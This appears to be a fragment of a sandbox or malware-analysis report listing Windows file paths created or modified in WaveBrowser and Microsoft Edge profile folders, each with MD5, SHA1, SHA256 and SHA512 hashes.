SHA512 d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_361160231\manifest.json

MD5 2307ae308f299ca6af16fb4c1fdf2a9a
SHA1 1442253e898d8c17185180adba79178971829e68
SHA256 a483f85aa6ba33477c6a6e822792181c6e63db94e3c1df7be10cc8c9cc073fa8
SHA512 c9a7baa166b03f078ffa262fd6db81b656be9ac45b201b53fb500869c648090576ab52f1f0cf610320958c286ee0798deddf3d9a3cf5cc945b7b0888fa723bfa

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\CertificateRevocation\9065\crl-set

MD5 0ffcf7be06bc2204ca053e3ffd8643b8
SHA1 d744f16efaca6d81c714eced1ae5c503dea97e6c
SHA256 3c64344a04de9bfbd263c413740fc804ddf0ef219fc83a97965c7a2885d6b235
SHA512 8b1472ce5d9a378786bea6f7c031fc587493421c7bd1a12e932ba6610680e424cd162992bd13eb982086c87a123601b322881060c7e81ce72aaf492eae1efdd6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 7182de67f64846bd7c1571b059bd774c
SHA1 bbae9780691d813cdc96d54124e77a04b0fd6d4b
SHA256 dfd081845b6cbeaf4b90958ee73b81ff5b895e79f735c44cb79fe6f95fe8f28f
SHA512 c6400cf2e60f1f6d1c8b31a47e3100c766a4d3ccc262305f9996521245d2c068efffc439e2ed8abf7f5f47c11588b7afb6de0f8660055db62f921d0ac409ad55

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 54257fbe32d2c7857d35a5cd70c74687
SHA1 1cfe640f94b30d79f01151d9205457191da7d304
SHA256 1abd9e133e4112b279267887130ee54f602c3d24651d68bbd9a0e1f970b3b467
SHA512 f2a94e5b885f924684912ba706a384c1f2533de7799b7ddb15362a2a16bef9c9476cbf62fb4443f73e3910b16e7eb78de5157198e56489779ac566af0ae9849f

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_651299115\manifest.json

MD5 309278d3cb0d52353cb7ef315d31fa50
SHA1 df020c8344b6a1519ff96dd3c3b3dda4e38847df
SHA256 48b076c219a056f9d2fc37b1a031e0ca312eaa1f3202e3663642e570fe3ac302
SHA512 42881a853e9df6f56922fee477103e8a2ee99d3dfb79554f70d41bd3d2d0c8d2791cc8d848a7d0712512be178a93c022675dbe504acec324c07ed8bbe85aa31b

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\OptimizationHints\462\optimization-hints.pb

MD5 b79bf1c57ff073ea960ecb06e58721df
SHA1 7d3838816d6675f8989762ef91aa14f87a1268b4
SHA256 e06118214c4137581c64e46b6af791a894b158a0bc258075c726c9cf1b4fb030
SHA512 a57ed609737382c37a3a728092e316fd2df18360dac442c741eecee16dc731f9d779c1ef08a5b8aa8a1a94a04a861a76b5ead9bf1f88edb5991c31afe6c378c0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 a34f6894f815b93029ce4fdf1f341e20
SHA1 6ca7aff308a4b5f8dd9251623989ab6589fd27fa
SHA256 cc7a8a76bfba688eaa7812ea8a7d76987fac22cd76405827947f465e70c20e12
SHA512 96f8cfdd6e9286b117949f0ebd111632cae09a17f6f6a1b138bb60302666fab61e616181d648a1ecec4ca5c670a172d563a4b62b0908ca19fc819dfa8c2231b1

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 bb726de4836471b670d0605da6b7aa13
SHA1 68ab3959b78bbc4792712eea0b17f5ae66d852b2
SHA256 c02ccc59d6bbf9377c4c3e4a4cef8b9092971670e49b8a0bcebd7fce2b8e5c8b
SHA512 7d76dd43a212c85d4a04f5af29510dbba58eb887a7f196e04f34640231cad782f75aec4e890e0274ed618aafe7858cf9d0dd492526efb5a47c1387a292d23d93

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 d0b61158df0aec86deb19529ab649180
SHA1 e4eb5b6124c9a159f315033d7fb334aa4b4d884b
SHA256 5df2b2a89298c2d1e581acf9e1568f4b5966435f2e4ac5f7ab0b1a5f63665fea
SHA512 80d48428a2f342b3a565281427a8c10e75388ebbd926d5874089dfdc21b5215ddb3bfc9f1e2fda939def2db1dad6e62a34064ee8c05618ca3431593fc0d26394

C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1050723369\manifest.json

MD5 effd1f7eac348b18ef32aace436ac60b
SHA1 2574697de964e0095922bc1b92f77752bf92a39e
SHA256 a2ee28c92f076a2e442b9d0c59819fa704acf0f090073fb9ceb2053b71fa2c2d
SHA512 b6c13066cd7ab0cd223267ddc9cda664a916597cea4f731af2db0b44b32be2f2e59aa5de0ee2896a8dbe51ad63d38552f14b4cd6a000a0ed72d70b2e2f9e4387

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\TpcdMetadata\2024.8.24.1\metadata.pb

MD5 1cb62b3e021695871c5a2f84f9a60e39
SHA1 a8c902e9c0adef932366092766892c8913410af1
SHA256 17fe5c3327b6349650848bae9c8a9b1ee69161d8673f0cf297bf7a8e71f82ab6
SHA512 b50e05868f50d52721797113be772e21bedd6e9aa6083dfdbd10ed385916d8921f868638fbb6a9382ed5ae00be5019ff502ee6df3a976676ec43f1a6e6892e4f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 aff33de8c73b4caa51efbe4280858e99
SHA1 77c9ff81a650ca1374cda4b7c16f3e1f71e6c803
SHA256 b82494f9275cbf1f356c43c77803bb7215872c0fea2e95e5fdd477df879caab9
SHA512 9e09846048e7978a765d41b2a133fd2d3eecfea9a8ca8a9ec3ea6656acaa12bfb4ba7dc25b22568693310994ff3d8a5572b7039b0ced6dfe3fc1b1ac1cbca8c2

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\LOG

MD5 5ce6a865a5ea0c070dc999768306893a
SHA1 6ee374bd77922f81684a1da3d67a5c8ed1b7d90e
SHA256 4314f167c5f191cd2e656b0d0c10c5bc1cc5e5fb5482049e55548b4a6fec342d
SHA512 4219d4e558a81e40f6e38a935d5d8f32d2706851a1a24a0a7b86d3304370f970f93f141c31204c9a0ad45106eb5b20e316c8e404a75992c46529cb87a0294101

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 39bb0db36078114e1549020baa7feb06
SHA1 7830a14ed441a9f619441ea26eb60317ed155417
SHA256 0c270edf415ac48575eb3458dfce7964b76aedac9a41f3244300e88764908098
SHA512 f48bcf42b4bfda53107d872e5a7e914b78b7c6cd7ac3d13526f5fb64769a6e6bb991c4fd0e0faf779cdc7fe06042fc734feb6ace4891751318f29b22eff3e7cb

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 0a39db50bd84ff2e120fd184852fd64e
SHA1 007cc3cec2631385817a3ad46639f7208055d451
SHA256 2d17520d74baed158649fc37d5ebef6c177f0f474e9cdbf8efc2b84137be606b
SHA512 68f4c3a7992e9b9ca5fe8ab4a16187eb58bb9f0605c53d751cf3c62cf654b3233729e3a42b97ac1f3c672464582d58f3194c86c4f65402801049b2dac118070a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 7241a0b2aedd34f47f50728b018780ea
SHA1 39b28d60eec5e7e161f3029a78c4651a680d76c4
SHA256 9ea7a26c6402273680f2776427fc8aefc49c90fd08ef910c99df156bedcf953f
SHA512 11a108e2641224cc1fc8aa0e03180bcb20711b58f5184a5244933ab8feff9e70a50fed4560f264a91f2acde78309801f6e373fd1f050d3345af00fa203ac7071

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 faeb33cfc9e4544c42d9ff570297acd2
SHA1 80b79199e63daf4ad8f5a737581d3eae66f444cf
SHA256 8319ea5ee7c58795c1e303cf0d59c621214b66f98792079c5a76196171d2c9e2
SHA512 654431d77f216195929f5ad413db7414788bdcf59f5b25f0f5b41ae1af47776609d02bd0b55ddb66236a090c3aeacb736cd20df7ea7230ac371ac198932cdde1